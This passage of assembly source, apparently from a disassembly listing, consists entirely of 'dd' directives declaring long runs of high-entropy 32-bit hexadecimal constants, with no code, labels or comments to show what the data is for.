		dd 0AD496500h, 905DD7C4h, 27933E22h, 0D08150E1h, 0E728DC7Fh
		dd 0BA8180FFh, 212EBCEAh, 0B1A1634h, 0CCE0C359h, 0D29C2103h
		dd 0F83584BCh, 9859158h, 3C937944h, 33E478D8h, 38900305h
		dd 0CCE01C3Bh, 8AF9024Ah, 31D084D5h, 0BB802C54h, 423E836Fh
		dd 0AD40AF7h, 0C41C35EDh, 8C950AFFh, 0A588240h,	6DE65C98h
		dd 9231A900h, 24B284C2h, 0FB13A314h, 0AB177A6Ch, 0B890034Bh
		dd 84DA2BC8h, 18DC8D20h, 206E3304h, 44861FD4h, 0D6F4619Dh
		dd 9002B8ACh, 8D863465h, 40AC1B04h, 6B658849h, 93A213B9h
		dd 5838B023h, 0F5FA8F01h, 278070D0h, 0EBB8B0C6h, 213308BCh
		dd 0D26419DCh, 0BCD39D40h, 49FAEA97h, 0AA7C5500h, 0BD5B6DB1h
		dd 81F71C77h, 0B399CF44h, 0DA136703h, 0C20A100Dh, 70914025h
		dd 0BCEE802Ch, 8CD42132h, 98D044h, 5268BCD6h, 8C727351h
		dd 8158450Fh, 0ADC0BC0Bh, 9CC68E89h, 6E100209h,	423C6083h
		dd 6F18C4F0h, 2080DB0Fh, 0F4BF3055h, 9157D818h,	834FFC01h
		dd 65FBE0Ch, 0DC2FE850h, 80A1F71h, 7F2940C3h, 0D9FDFF8Bh
		dd 0A5A30B1Ch, 7E32931h
		dd 446CB050h, 22B5000Eh, 6FA4A8C3h, 0B000BD8Ah,	6404DD87h
		dd 60608D10h, 321E39F9h, 867DEB17h, 7B24BE17h, 0F14CC3h
		dd 173A3721h, 0D8B56216h, 100386FAh, 0C76725B0h, 0D4C804D2h
		dd 7155350h, 0D5468FBFh, 1D900118h, 7173813Ch, 10947D2Ch
		dd 886441E4h, 17316088h, 3C8623EEh, 7BEF11h, 47FC1739h
		dd 0B96C60E7h, 0F9F56300h, 6E5F80B4h, 249C2F2Eh, 20879085h
		dd 0ED17382Ch, 11348623h, 403900F6h, 74CE8317h,	0FD5D12D4h
		dd 7C68E485h, 8049903Ch, 0EA7E2580h, 286705B3h,	17CD327h
		dd 0DA687734h, 2239FDDEh, 87D7828h, 0BF8FD007h,	0A7F42B2Ah
		dd 11331CA8h, 0D0D8E621h, 0DB071942h, 0A3932145h, 0F3E7899h
		dd 8D7D596Fh, 0B5055EE0h, 0FC51D88Bh, 9950CBF8h, 48C2558h
		dd 212DBCE9h, 20CF62CCh, 9BCD19Bh, 0BE944200h, 2B920723h
		dd 515F0175h, 0BDA33C2Eh, 0CC422AFCh, 9D928FAEh, 80F611D0h
		dd 14CC0CC0h, 20109D25h, 0D60158F1h, 81189F32h,	48FA9B83h
		dd 0A816C160h, 0D21088h, 0DF279513h, 2351827Ch,	83A9BC03h
		dd 0A82B074Ch, 4A3889AAh, 27FC8093h, 8C618AFDh,	0D6A5F6E1h
		dd 35C58821h, 8A46C016h, 0F0173702h, 0F4314C86h, 173F3E10h
		dd 9DEE6201h, 517AA4C6h, 0D738043Ah, 5F594FCBh,	0B67CC382h
		dd 0A7B47696h, 1E00D4E4h, 4CB153F6h, 3396BDDh, 0DB5A896h
		dd 1F91A58Fh, 94442A86h, 8142EBA4h, 9049D17Bh, 649BE32h
		dd 0A507771Fh, 66F7F30h, 4C8B8152h, 5CF02817h, 50922312h
		dd 1E5714E0h, 988FC68h,	0D8DAFAABh, 4362C60Ch, 41D318F7h
		dd 0D4A0E7FEh, 0B7259324h, 4C806E2Ch, 7F109087h, 0DEE719B9h
		dd 8EC01291h, 0C07B04D4h, 0B9C240A5h, 1EF401E4h, 0D6062D29h
		dd 523988F0h, 4018C75h,	3835EEA9h, 4148255Fh, 0E17056A8h
		dd 2A983528h, 6563A822h, 60F3E44Ch, 1F2F79CEh, 96B33E0h
		dd 7470B335h, 0DB87490Ch, 0B961C8BBh, 18FB7908h, 304DEC0Dh
		dd 0BB50F14Bh, 2FB2077h, 80F876E6h, 331046FDh, 2200DF5Dh
		dd 0FCF46CE9h, 384C6F94h, 0DD1691AEh, 0A32407C3h, 7C9109BBh
		dd 0A2D188Ch, 5C86EA17h, 35385074h, 22E26098h, 70AFF704h
		dd 34ED23FDh, 7386C804h, 6D0BCA5h, 105BF3DFh, 9820E968h
		dd 221F4317h, 0A8A32403h, 7CB560F8h, 0FB4B7FA2h, 0B0ACC8C4h
		dd 7384E3C0h, 60C02DA1h, 5509BF42h, 5CC8704Fh, 7C82C883h
		dd 5C60CBC0h, 11091A24h, 0D9105EDDh, 356000ECh,	41B9E81Eh
		dd 3E4EAC00h, 30D4F59Fh, 681869B3h, 8071A00Fh, 0BF94D033h
		dd 2E448C42h, 2D0EAE7h,	4D5BD3E4h, 7CE0A97Dh, 5F307860h
		dd 7B77F0E5h, 64D49ABFh, 60406009h, 2392D031h, 131132BFh
		dd 0D02CE501h, 0C58385FAh, 70123F98h, 815EBC00h, 0C2F3CB38h
		dd 0C0D0C7B8h, 216BD782h, 2044A4E4h, 77391DD9h,	44A120A3h
		dd 99318D1h, 75862D65h,	4C834C45h, 900C658Bh, 5CBADF85h
		dd 0B4386C53h, 0C97F807Fh, 412FE781h, 0E18FF0E8h, 0BFEB48h
		dd 0E6ED0C94h, 26511A60h, 0BA22A75Dh, 0B390E038h, 0CC9C0574h
		dd 86E00124h, 52EEEB58h, 9640E9CCh, 0CD18496Bh,	0C2196750h
		dd 0EFD9017Eh, 25063623h, 0A888514Bh, 4092F16h,	0A7AC70C1h
		dd 60F14478h, 397072h, 0FE7EDEE2h, 57B4A7E6h, 555F6202h
		dd 0C127D9C6h, 33B7024h, 67787934h, 3CE9ACC2h, 6048FE38h
		dd 8B30FD28h, 0EE30E9B9h, 9EE700EDh, 4D27D0DEh,	4980E84Fh
		dd 0A8CF5467h, 0F582E88h, 0D55F8D68h, 1EEC60C9h, 2797A314h
		dd 74944BF4h, 0F623702Eh, 0A1E65A00h, 2C8361D9h, 8088078Bh
		dd 45718D7Ch, 5D09D84Ah, 80B55F66h, 6DC7E994h, 0D7DA2462h
		dd 6591C020h, 19E78633h, 894E23D6h, 0A49835EBh,	224A43ABh
		dd 0EF0FB441h, 3C706FF9h, 64FA402Bh, 17C0029Dh,	34990BF3h
		dd 0B8802C80h, 43008CD0h, 47308618h, 7F2E9BF6h,	5E55166Fh
		dd 6A9820E8h, 0E300CAB8h, 0A324C6E1h, 957EE1Ch,	5EC7EC81h
		dd 8B465844h, 0E9173402h, 0B09C5486h, 173C351Ch, 0E87010C2h
		dd 4090DCD2h, 73053856h, 0EAED2E00h, 0F5D9B596h, 78E2051Dh
		dd 3E621C4h, 5069884Ch,	0D770E4E8h, 0F071DA1Fh,	0B71048EDh
		dd 0F27B0008h, 582066F1h, 7D50569Ch, 0A3880F98h, 91EA65A6h
		dd 7D4ADE6h, 3E18298h, 27C47540h, 0D18C00D5h, 0EE903F33h
		dd 38BCE86Dh, 2EBB8281h, 0B6DD0D55h, 504C1A20h,	7EDDB3Dh
		dd 7E3066C3h, 398AB13Ch, 74437A7Bh, 9F981381h, 0C8A8CD95h
		dd 0FF93F309h, 8A102CF2h, 250604B0h, 185889BBh,	0ED738108h
		dd 68DF022Ah, 0D451FF4Ah, 0CD42E85h, 660828C1h,	61E0E800h
		dd 3BD408A9h, 28583814h, 8946D852h, 0EF17360Bh,	709C7E89h
		dd 173E3B00h, 9EB62943h, 6F7202B0h, 252F935Fh, 650150E5h
		dd 0A5CB777Ah, 2CD26700h, 5F89A600h, 0BE1C7B53h, 736401F8h
		dd 0ECACA8BBh, 1F77C4F3h, 0BD7BE9C2h, 16445A18h, 3BFB620Eh
		dd 0F223C8h, 2FEEA236h,	0FC001908h, 652EDC5Eh, 21A5D59h
		dd 86D18FD3h, 0ECDCE49Bh, 0AE49013Ch, 0FDAB2887h, 98D2C30h
		dd 20CE8106h, 3CE40083h, 0A1A32816h, 841034E3h,	0AC1C3E20h
		dd 37933043h, 0D0F7500Eh, 0B946E001h, 6EE62D7Ch, 17008452h
		dd 365653F1h, 22100D0h,	0C81112EFh, 3124515Fh, 1E02AC8Eh
		dd 6D34CA7Ch, 43D6E3D0h, 7AEB4E00h, 738D7150h, 0FBB70557h
		dd 0BCF09BD0h, 0F321042Ch, 28C829ABh, 0D8DB3EA9h, 3948C5Bh
		dd 2C6C9A10h, 458F313h,	1707ACECh, 8F8C3420h, 645D029Dh
		dd 0D3550EECh, 869844CBh, 26599C8Bh, 1BF31DB8h,	0BA14F8AAh
		dd 7934BEA6h, 2E949A10h, 0B3BB7C09h, 60D8A884h,	10366592h
		dd 0C8049D86h, 8A4F80F2h, 8B764465h, 0D57DD600h, 976CBFA0h
		dd 439330BAh, 8F5E2324h, 38051900h, 6FBD86F2h, 7C80BDBFh
		dd 0FA67EC6Eh, 695E040Bh, 428472FBh, 27A81010h,	0F48C204Ah
		dd 967CF102h, 0B69DD000h, 5C9467B5h, 296A0EE0h,	8861CBB0h
		dd 5F4F330h, 303A7482h,	9808D02Fh, 6E2C62BFh, 2AE300D1h
		dd 381F4DD0h, 0C572EDh,	399F3009h, 625CB985h, 0A0FF7E35h
		dd 7F3A3030h, 1AF20FB1h, 0FF816440h, 0CE1BE0E2h, 1E1328C0h
		dd 0C4603481h, 110E426Bh, 5F0BAA8Ah, 3C2223ABh,	90E689E3h
		dd 8F02D546h, 95863165h, 10F1C8B1h, 658750h, 0CF56D9FCh
		dd 5A4C03Fh, 0E43B6F2Ch, 0A4B3908Bh, 8B538700h,	0C0D1C8F4h
		dd 42CB3522h, 4FD21800h, 75FA8E2Bh, 70321711h, 13C8B0EDh
		dd 98602341h, 0CB4D171Eh, 502C2C1Fh, 0E0C75744h, 218BBD9Ch
		dd 91583020h, 0B5278767h, 29F41906h, 0BC0BED18h, 45EC2131h
		dd 0D597804Ch, 0D1E2DFBCh, 62209909h, 8C308239h, 0A3810018h
		dd 54942F3Fh, 0DD403CACh, 0AA7B7739h, 2EF8C1ACh, 204D26D4h
		dd 0BD0C1B83h, 0C8D84F87h, 33601086h, 5A8F1217h, 24046053h
		dd 811E1B95h, 5EFDE60Ah, 42342504h, 40323F4Ch, 4ABF914Eh
		dd 12C0323Ah, 0D02DE820h, 30BC79A5h, 0F1E1C9E6h, 0B0650A8h
		dd 1C7A3918h, 0BFAC80B1h, 0E6E28022h, 55190262h, 0AFAAC09Ah
		dd 0B41A1217h, 6FCC0334h, 0C83FA6DBh, 98547F46h, 0B1017BC0h
		dd 33272ED1h, 898339C1h, 0DB5367BDh, 4B30F915h,	84C200E0h
		dd 6F1D91B8h, 44CA4A47h, 311AFF3Ch, 830527AEh, 984B3ACh
		dd 113C9D5Eh, 0C8ED83FCh, 8898E550h, 7FBF088Eh,	0B280D933h
		dd 8999C07Dh, 47E64AD6h, 10335004h, 8D69BA0Ah, 0FBBCD400h
		dd 0E6A5792Bh, 14C200F5h, 3C0B39B3h, 1EE0D68Ah,	34F09000h
		dd 0FAA79231h, 0B536002Bh
		dd 0C07C414Dh, 0DC96CDB3h, 647CE5C9h, 5410602Eh, 2B80041h
		dd 2F65F3B3h, 834B773Bh, 8B2E024h, 7C3012F2h, 803482Ah
		dd 42A0B86Dh, 13110A14h, 966C460h, 47DC4659h, 8845B00Bh
		dd 0B067F6E4h, 0C7238DE5h, 0C8803891h, 95151D12h, 36F30064h
		dd 874C7DE7h, 9882BD47h, 1D64364h, 5B4890A5h, 0CC5784E4h
		dd 0F3066A27h, 0C1427769h, 0C0B4B0A8h, 31FB931h, 4304F973h
		dd 221A62CBh, 0C883084h, 33CA147Ah, 0B602D06Eh,	1B7360C5h
		dd 0C224C80Bh, 0CD2B0294h, 0E17B86C8h, 420164DEh, 2C4F865h
		dd 95394F0h, 6EF2EA73h,	0F48DE4C0h, 6C2A782Eh, 25CA6D0Eh
		dd 0CB24C7Fh, 4332EAF2h, 5081EA73h, 80ED4C40h, 98149400h
		dd 8E89D78Ch, 1C2DC902h, 0C11F6E3Fh, 3C34ED48h,	82332877h
		dd 5EA096A0h, 0A200F146h, 49B5D536h, 1F13AC11h,	64443787h
		dd 10871A08h, 9F9187A8h, 0F34AA038h, 0B8BA9793h, 1DCF094h
		dd 2616DED9h, 0FCEA7B1Ah, 5D04DBFFh, 2B2FA31Bh,	2B4A20E7h
		dd 32E82370h, 34F4DC68h, 78FCAB45h, 1D3AF7C0h, 973D9CADh
		dd 39980C6Bh, 6FE4181h,	0F78B5AD7h, 70F188F4h, 78991748h
		dd 0C8BA578Bh, 0A0FBCF70h, 241A8EC4h, 4B266D9h,	0A804D893h
		dd 0D62E8E04h, 0F723E03Eh, 386B803Eh, 5D27D448h, 0B0F24D4Fh
		dd 0F0B7930Bh, 0D4DBA004h, 23302EB0h, 70E700F8h, 0A0327C07h
		dd 24EFE238h, 604FAC8Ch, 3854E4AAh, 0A78F16A5h,	2ED0C8BCh
		dd 70C38Ah, 0D91D9451h,	8B068302h, 7100EE78h, 972C2052h
		dd 2C610AFh, 428E802Fh,	9482EDACh, 77101CB8h, 0C8E78825h
		dd 0B97081C4h, 0AF34E280h, 6C6D0019h, 1D494CD0h, 0B418B589h
		dd 0EC028343h, 86249677h, 0A8D69B67h, 6F2B0416h, 77E0E405h
		dd 1A46C832h, 0FB59CCF9h, 8F129018h, 30B01360h,	213E5B25h
		dd 123D34h, 3AD389A3h, 27A5596Fh, 0F9328058h, 0FCE3484Fh
		dd 829B9E9Ch, 534320ACh, 508630C0h, 58C1377Ah, 8FBF7FBBh
		dd 4173B83Dh, 6FFBE8FCh, 0BB8B210Dh, 882B582Ch,	0D50F5A0Ch
		dd 0C05B17D8h, 59D4DF0Fh, 18BF0137h, 8DF46256h,	19FBD3D2h
		dd 8094ECCDh, 3B1FC160h, 0DDF293h, 427012B8h, 5E61EFB4h
		dd 99B09700h, 0E6F6262Fh, 3BBF2FDEh, 1EFDA440h,	3DC7C9Eh
		dd 6C3BC8E0h, 85A0479Bh, 6F00605Bh, 0A4FF8F58h,	252883D6h
		dd 8683442h, 8680889Fh,	9C5F4CDCh, 0C1EE6483h, 9BF009D0h
		dd 16327600h, 0A91CA19Eh, 27B873h, 0CFC68C6h, 0F9E724C9h
		dd 0DF207CB0h, 5F68A0F4h, 106986A1h, 11789D59h,	914B87E7h
		dd 0E07CC89Bh, 4C8A75C2h, 160477F2h, 0BA3B0C65h, 0A377C802h
		dd 200209B7h, 390322C7h, 3CC1DC85h, 0FB00F22Fh,	0CA205D04h
		dd 36033FDh, 93B8B171h,	401CFB0h, 0FD996745h, 5032265Dh
		dd 0C132A906h, 0A08039C6h, 0AD83CC47h, 7670DCCCh, 33DD00ABh
		dd 958B97Ch, 11F63AEBh,	5F751A03h, 3FFC7A3h, 30815B88h
		dd 0A8273206h, 0F182B61h, 33668518h, 24C40C60h,	20CB2FBBh
		dd 9C07E83Dh, 8F513E91h, 0EBE8900Ah, 421C9419h,	0D7012A6Dh
		dd 52EA07ABh, 1E82FD8h,	54942C13h, 0E9B710A0h, 0D47FBD17h
		dd 0B81091FCh, 506F2B0Fh, 0A0AB090Fh, 9C8D7CA0h, 0DD147A68h
		dd 802435FDh, 0BF93D030h, 222C434Ah, 27E20014h,	84C2A9D0h
		dd 8D177BB6h, 88E23F24h, 0C809A830h, 0D139257h,	52002DE2h
		dd 7931BFF4h, 28E54CD7h, 0B7612180h, 0E125B68Eh, 14525Fh
		dd 0EED393D7h, 0C3B9A392h, 8F307FFEh, 0B3BE89BDh, 0D8D93B81h
		dd 8C9439AEh, 9110A904h, 0C94E9700h, 8977A32Ah,	0F0900B46h
		dd 0C8F23733h, 0A500A8B0h, 64242C38h, 883EC4CDh, 0C800F727h
		dd 5362E552h, 0BE014B5h, 2393F6D7h, 84E5F029h, 6D63F2E4h
		dd 8F5A9DD8h, 0BFB6BC05h, 0FCB25BA0h, 5630F5F2h, 0BF8D04AEh
		dd 8881F367h, 0EF4283C8h, 0BB22C002h, 0B0141B8h, 3868A88Ah
		dd 3A27F417h, 0F4234Ch,	48AE9905h, 2704AF1Dh, 24D793A9h
		dd 43DC6088h, 0C0396F16h, 36822D6h, 64D257Ah, 9B2140DAh
		dd 4A113F6h, 40B80368h,	402E2D6Eh, 81680C5Fh, 2139D08Bh
		dd 29E7A310h, 0FF737F03h, 0F3E0D8A0h, 376F3155h, 8F294858h
		dd 2CE5D25Bh, 20788D88h, 69C1FB60h, 976E5882h, 0B2A4343Ah
		dd 3030F264h, 931D42F1h, 0F718767Dh, 1E5B5F9h, 0D30E1882h
		dd 2F79398Ah, 0D1C2C8Ah, 0C6B88021h, 7E74C85Dh,	88313B09h
		dd 85E83719h, 2762E89h,	1903A3C9h, 7398CC91h, 367710E8h
		dd 0F6B83CD4h, 0A45D078Ch, 50C90F60h, 0EA7EC28Bh, 31B67A13h
		dd 0ED50741Eh, 0CCE7BCC9h, 7E67CBC4h, 0A0B60412h, 331081C3h
		dd 7D7863BEh, 5E7B8188h, 1888139Dh, 1508F0E7h, 147A2184h
		dd 6E1465A5h, 601A82B1h, 80C856C2h, 8AE64B3Dh, 2600BBDFh
		dd 320BFA4Ch, 95241F0Ah, 5D01BC64h, 428A6FACh, 623476h
		dd 5A29B1CCh, 895F5202h, 0A4E99B38h, 6F568110h,	0EC90050h
		dd 0AE17072Eh, 7383091Ah, 0BC101599h, 4882B2Fh,	0D902605Eh
		dd 0CAE76EF6h, 96C49C5h, 0F43957C0h, 940300DBh,	0C8FB6627h
		dd 9058D9CAh, 249F15F4h, 15262124h, 0BCC8782Dh,	0D080278Ah
		dd 6414EC08h, 7C4040FAh, 941F7590h, 0DE5B0884h,	9F508605h
		dd 50BDB8A0h, 448798BEh, 74847E8h, 20D0A2FCh, 3B77BD19h
		dd 604984F1h, 0BB01F3D3h, 3E013A6Fh, 80F8BC6Ch,	78FB8B84h
		dd 1221252Ch, 0E7404088h, 602F8C83h, 2638B74Ch,	6BEC006Eh
		dd 274A6C9Fh, 7381570Bh, 40EC42C1h, 0AAF9184h, 89565B40h
		dd 248A50B0h, 0F0585F80h, 2C44917Dh, 0A870830h,	51BCC42h
		dd 0F6BC0BD8h, 0E541B046h, 3D5B452h, 78DA30Eh, 5C815864h
		dd 0A748CF20h, 1076C4C4h, 0BA789100h, 6F02EF85h, 2D7B6330h
		dd 7C58ECA3h, 0F6732586h, 2320A0FAh, 35CD48DAh,	41B58500h
		dd 28751B54h, 7098F625h, 0AEA300F8h, 0D983FE44h, 5CB34C7Fh
		dd 0B86978h, 5375BA21h,	0A9F1A6D2h, 94A2E82Ah, 10253D00h
		dd 885FFFE0h, 0C07909C1h, 4F0FB87h, 29600430h, 0B033C7DAh
		dd 1A1F22B4h, 0A4068129h, 61BAB88h, 190BE5C7h, 54A7C41Fh
		dd 0F0E01692h, 0EEFD01A6h, 8B30875Dh, 82EC720Ch, 0F0DF2D0Eh
		dd 864A60ACh, 0F208AE41h, 94C21D00h, 0FAAA4382h, 7FF7052Bh
		dd 0A98012DCh, 2088AC60h, 37E0B07Bh, 7F4D80B8h,	7F1EB838h
		dd 0BC809D3Ah, 197384ECh, 0F3388595h, 0D42098CDh, 7976408Dh
		dd 5F6F280Bh, 38C422BFh, 0B9B0F21Bh, 18127140h,	7DFB488Ch
		dd 20705F7Dh, 7A324264h, 3D50E900h, 0CC296B45h,	0C1FD50D5h
		dd 2841CBBAh, 2B66B802h, 987014DBh, 1219E0CDh, 2186FDACh
		dd 72BAA328h, 80943F04h, 862735BBh, 0D3EF5F58h,	0D34848E9h
		dd 996595C3h, 2C3B4586h, 8D014A5Ch, 25276965h, 0BF00FD83h
		dd 0BB40877Fh, 0E02F0B7Eh, 3850D8B9h, 16C79200h, 1758816Bh
		dd 74AE9D0Ch, 0F741AB42h, 0FC792079h, 0A338C418h, 915701EEh
		dd 0C0CD6CC5h, 8C2B1C20h, 37BCEF02h, 1919FC21h,	0D79910D6h
		dd 40EB00BCh, 0DF46854h, 0E926A6E0h, 3D077C60h,	0A07A5FBAh
		dd 71ABED80h, 0D03863h,	0C0188F16h, 0E5A8BF3Ch,	3206A901h
		dd 0FCDEF846h, 23F6D421h, 0B9F67C39h, 6338861Dh, 81C448EDh
		dd 2BF170Ch, 234C3A2Bh,	0A20038D6h, 8026231h, 4709C165h
		dd 799B935Fh, 721004ACh, 1F88F8D5h, 585C7D61h, 0A6C28F42h
		dd 0D784C43h, 88ECCCA7h, 0AD4454BAh, 7877B8B0h,	51060194h
		dd 0BED9612Fh, 44A864C5h, 3C0C21F4h, 0C9A4E61Ah, 574801A7h
		dd 444E3277h, 0FAC3CC67h
		dd 13843C14h, 0EBD89860h, 0F4008225h, 2F417D5Ch, 84CB8014h
		dd 488B4AD4h, 0BC00A3DCh, 0B8B1971Dh, 0A4220056h, 882B2C18h
		dd 630BEE14h, 7A608A09h, 6BFC0008h, 25AEAD90h, 290FCF9Dh
		dd 1947262h, 823930A9h,	0C84E2072h, 2E00C0DCh, 9438FF04h
		dd 399A7C5h, 0A974530Bh, 0BEEB86EDh, 6083AB88h,	0EC5908F6h
		dd 0C0D73948h, 3F0909D4h, 3CE0978Fh, 62272888h,	0E98C6841h
		dd 0D05C128Eh, 0C468FC0Fh, 0B8EC82FDh, 772E8D80h, 0C096A35Fh
		dd 650D9487h, 16884400h, 786DF54Ah, 0C504AAB8h,	640B952h
		dd 0F648780h, 7B932721h, 30660060h, 0B224BB1Dh,	87695F4Fh
		dd 5640BE0Ch, 5039BAD1h, 0E8F3879h, 1B88251Eh, 16ADA361h
		dd 18043AFBh, 5C1408CDh, 0E7A24853h, 90402530h,	0A72244C8h
		dd 6E38B11Dh, 14CAF012h, 0E27D010h, 81DC4559h, 937CC87Bh
		dd 282CB461h, 24710A89h, 6418F2F1h, 3625921Fh, 6C05D740h
		dd 2ED9E12Fh, 42E857F3h, 7C48C483h, 72093DFh, 41E65B19h
		dd 41181F50h, 0E412D1CFh, 0AB00E345h, 4754D56Dh, 5627789h
		dd 7A23B056h, 90DCD2A1h, 6CF14C62h, 0EC18F579h,	38ED8024h
		dd 0C194B102h, 740CDC63h, 0EF00D246h, 0D8A93925h, 31557F6h
		dd 17F0A092h, 0F8CB2A80h, 7CC0E7C8h, 2C351F6Eh,	40680C07h
		dd 0AB49FA99h, 465E689Eh, 1FE500F8h, 0B66D427Dh, 4C2F5C88h
		dd 0E62E6400h, 0D431932Dh, 0FB3164B0h, 1E1D711Ch, 0C103F3F4h
		dd 0ED82D011h, 73C8h, 18EE6A92h, 2C95347h, 1BB26C75h, 0C4E05051h
		dd 0F01206C6h, 5CA2D0C7h, 5E64802Ch, 1000D246h,	82A1EA94h
		dd 10B75822h, 4209C1Ch,	5EFDBE3Dh, 0BF68D0E3h, 0B74BF38Fh
		dd 1B872891h, 20B9A70Ch, 10487BA7h, 22A85825h, 0CCE65877h
		dd 0A13BBC80h, 0E800309Ah, 0EDD66CC3h, 797F2A22h, 0D8CE0073h
		dd 87CCAD78h, 0A496F738h, 7184ED0Bh, 0BED91D38h, 0B830204Dh
		dd 7494C2C0h, 93F0B603h, 9D4F4228h, 187FA481h, 0B781C200h
		dd 7A8B2427h, 83FD2738h, 0BD8AB0C8h, 41DF6727h,	190C388Ch
		dd 2B441095h, 0D2E681BEh, 1F421C74h, 9B81010Eh,	1BC2C30h
		dd 8F6A655Ah, 16EA81Bh,	476725ACh, 0CC4088CFh, 0FCA6DBh
		dd 0C293B78Dh, 0A629AE84h, 8B84A4BCh, 570412D8h, 495CE050h
		dd 9D200169h, 0C63D64h,	965E31A5h, 1486D7E5h, 3039989Bh
		dd 52800E5Bh, 238D0590h, 0BC05CEB2h, 8BDD973h, 2EB840D0h
		dd 77E7008Ch, 0AE81EF35h, 82950178h, 0D90A78h, 0A987FF8Eh
		dd 0A58FCE09h, 15D860D6h, 9D88A20Eh, 81E511FCh,	0CAC3162Bh
		dd 0BFABE041h, 25F19000h, 954E6090h, 0D5886C8Fh, 0DD424C0h
		dd 0EDBF38C9h, 530CB2B8h, 4C810260h, 0A6A71900h, 91C35C0Bh
		dd 30B73ABBh, 8F4B8904h, 60E8A590h, 8220E7B4h, 5334121Fh
		dd 7FBC0231h, 0D400C907h, 0ACA7FEh, 34F4B058h, 0BFDE9791h
		dd 0C8322B25h, 0BB5A8A8h, 938B217Eh, 0D47F68E1h, 312F326Dh
		dd 0E460C50Fh, 586E60D5h, 0A3C3009Ah, 0CA74EC2Dh, 8D093C69h
		dd 0CD41F6C0h, 0E479C06Ch, 0EB0243E3h, 0C07C5739h, 639460ABh
		dd 8FBB8002h, 68983A27h, 801A9F50h, 549AF05Fh, 0E4673C8Dh
		dd 0F0F8C4C0h, 0F5A20594h, 0A82F7761h, 0C8944B18h, 0D1B00FEEh
		dd 8F233244h, 0C511C874h, 7239C242h, 0ADF1060h,	14DD8C80h
		dd 2C06CFC4h, 2D013C23h, 52BF96D0h, 0E1883018h,	0ACD00028h
		dd 0EC992201h, 3B246FBDh, 264068CFh, 87F28AFDh,	9660CBE4h
		dd 2E0432C0h, 0C7ABBF35h, 0FE3410B0h, 7CF0B4D9h, 2400CE46h
		dd 0FC01907Ch, 0BC9068DFh, 274620h, 0A29A5559h,	0D8793AF8h
		dd 2D08DC4Ch, 970501Eh,	0BC76087h, 9D6F4E0h, 7C000898h
		dd 8349F6CEh, 9B390D7Bh, 535F934Ch, 9C020190h, 60148121h
		dd 0B312F03Dh, 30071D66h, 0FD85715Ch, 0F78874CEh, 39C7E1C0h
		dd 81BD06F5h, 0A0EC1B50h, 3AD54914h, 21EF10F8h,	3AE83124h
		dd 9B2039B4h, 4BFFC3D8h, 723DB028h, 517B1081h, 91C10929h
		dd 26385AFBh, 0C26CBB77h, 0A120AE8Ah, 99F92BA3h, 0E3130308h
		dd 6FE70BD9h, 2828AD96h, 0F096F05Fh, 0F54674h, 0BDF28120h
		dd 69F189ADh, 0AC328023h, 0CDC450C5h, 2AFB3761h, 257BA820h
		dd 108D0036h, 1A1584D8h, 93182492h, 0BDC12FDBh,	0F498BCDEh
		dd 2B8D1200h, 84E97B15h, 3D892CAAh, 58F81088h, 0B4BD8084h
		dd 5A523883h, 80A40A35h, 5F650134h, 2BC3E369h, 60168043h
		dd 0C17AEEh, 8F3BDC7Dh,	0C0999E96h, 31A83800h, 7F1F788h
		dd 0AB48A0E3h, 36CC007Bh, 0E2171E76h, 37004A9Eh, 0A84D6DD0h
		dd 727CBAAEh, 0DED805F0h, 2F17739h, 0FA263040h,	0F7273840h
		dd 0AF786082h, 65E68085h, 2E08B95h, 0AF8039Ch, 48DF19B8h
		dd 983E3A5Fh, 1203F623h, 8BC1179Fh, 0C08BD8A0h,	0CB60D347h
		dd 0C1E8C850h, 3FB9199Bh, 0B55CC8h, 0E04FFA5Eh,	0DCE2D8D0h
		dd 8164CF3Fh, 96E91CCBh, 563AE33Fh, 80ACB888h, 35C1B7EEh
		dd 4678003Eh, 5F960DFDh, 0C2398ED6h, 89E9007Eh,	0CB442F93h
		dd 903F0BEFh, 38A20DA5h, 5E001050h, 25DEE48Fh, 84E67580h
		dd 26BC8300h, 7E0679C7h, 91E60069h, 8AF9E84Fh, 0AC00E3DCh
		dd 5B26DD3Eh, 12BEA320h, 0A2E4BFB0h, 312DF2D4h,	8343C44Ah
		dd 97B40209h, 730823Eh,	6135022Ah, 465CDC7Eh, 367300F8h
		dd 0F4B8623Ah, 0E37A13FDh, 66B8404Eh, 48165659h, 508B935Fh
		dd 6A00A3DDh, 63A5F212h, 0E88E3925h, 207998ADh,	8F36E200h
		dd 0E0D267h, 7E4B4672h,	7B969473h, 0C24AA27Dh, 407710A2h
		dd 7F25BB1Fh, 87CC0FD7h, 8706C814h, 5A0F0951h, 0D4071766h
		dd 678B8822h, 6EF4A3DFh, 0DD3B8AF3h, 8044EC08h,	0EDF25DF0h
		dd 0BC123C83h, 9E0FCC79h, 0BE4160F1h, 1564F77h,	253FF742h
		dd 3939308Bh, 0DBBC13B8h, 8C32A000h, 1E8D90F4h,	0C020BD1Dh
		dd 6145C658h, 8306D636h, 0EC62BE30h, 0D2177DC1h, 0B5E501D8h
		dd 28E1199Ah, 0CF018300h, 937CC86Dh, 348FB73Ch,	0D4F83480h
		dd 175AA350h, 902078D4h, 4BE76082h, 0AE048171h,	3B41E083h
		dd 0C511EB67h, 7EFD8782h, 97BD60B8h, 0A4A8A357h, 0F162C330h
		dd 768B9F59h, 1A2002E0h, 14610266h, 0B213FE93h,	64B07CE4h
		dd 7C01521Dh, 0D17BCD55h, 345CCC2Ch, 2D8CCDBCh,	6060C277h
		dd 0F728ABDAh, 18213CEDh, 0DF770478h, 8854CFDCh, 868BC0F3h
		dd 47E2BF78h, 347CA916h, 0FDC66E02h, 0E4B95590h, 0A39C5035h
		dd 8909A9F1h, 0C4EAFF38h, 2105647Ch, 3D2CE9C1h,	0DB1F82DCh
		dd 0E0A6732Dh, 0D28652h, 2B5B0A5Ch, 0D38CA8BBh,	8FA58302h
		dd 544366F3h, 20789D48h, 0AD7A030Bh, 1608DA06h,	5DFC733Bh
		dd 7A13E2A8h, 0D8937D3Ch, 68F4DC88h, 9B8416C7h,	5AA0E01Fh
		dd 0CD8A7A00h, 8F7FBF09h, 18C895A1h, 345E5366h,	902AE08Ch
		dd 82ECEEB8h, 0CA38907Fh, 4C63058Eh, 0AA118158h, 5E61021h
		dd 8C628180h, 0D73D672Ch, 90F82076h, 3F01BD7Ch,	0FDAFBE88h
		dd 8C7960A9h, 86B96A00h, 0E5B6C23Bh, 0AA29B71Ch, 2E97DC40h
		dd 24B2C8FEh, 704EC35h,	79EE92C0h, 502E6493h, 0A61124D8h
		dd 0E5928900h, 7C808F2Eh, 0CE1E3DF4h, 39C0B8B7h, 0ED796F0Bh
